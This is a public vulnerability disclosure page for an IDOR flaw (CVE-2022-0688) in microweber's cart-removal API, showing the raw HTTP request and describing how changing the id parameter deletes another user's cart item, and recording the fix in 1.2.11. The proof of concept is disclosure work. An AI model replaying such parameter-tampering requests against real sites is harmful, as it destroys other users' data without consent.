Business Logic Errors in microweber/microweber

0

Valid Reported on Feb 18th 2022

Description

I found a IDOR vulnerability where we can able to delete their product in the cart by the **id** parameter

Steps to Produce:

First add any product in to the cart and checkout
In the checkout page , we can see the cart details and we have functionality to delete the product also
I gave the request to delete the product from the cart and the request look like this
Request:

```
POST /demo/api/remove_cart_item HTTP/1.1
Host: demo.microweber.org
Cookie: back_to_admin=https%3A//demo.microweber.org/demo/admin/; csrf-toker
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefo
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 6
Origin: https://demo.microweber.org
Referer: https://demo.microweber.org/demo/contact-information
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

id=123
```

id=123

As you can see the id parameter , we can assume that the victim's id is 144 . when we change our value to the victim id
The product gets deleted from victim's cart

Impact:

An attacker would able to delete anybody's cart product without any user interaction

CVE
CVE-2022-0688
(Published)

Vulnerability Type
CWE-840: Business Logic Errors

Severity
Critical (9.4)

Visibility
Public

Status
Fixed

Found by

Nithissh12
@nithissh200
master

Fixed by

Peter Ivanov
@peter-mw
maintainer

This report was seen 410 times.

Chat with us

We are processing your report and will contact the **microweber** team within 24 hours.

9 months ago

Peter Ivanov validated this vulnerability 9 months ago

Nithissh12 has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Peter Ivanov marked this as fixed in 1.2.11 with commit a41f0f 9 months ago

Peter Ivanov has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Peter Ivanov 9 months ago Maintainer

This issue happens only if you are logged as admin

Sign in to join this conversation

terms

privacy policy

Chat with us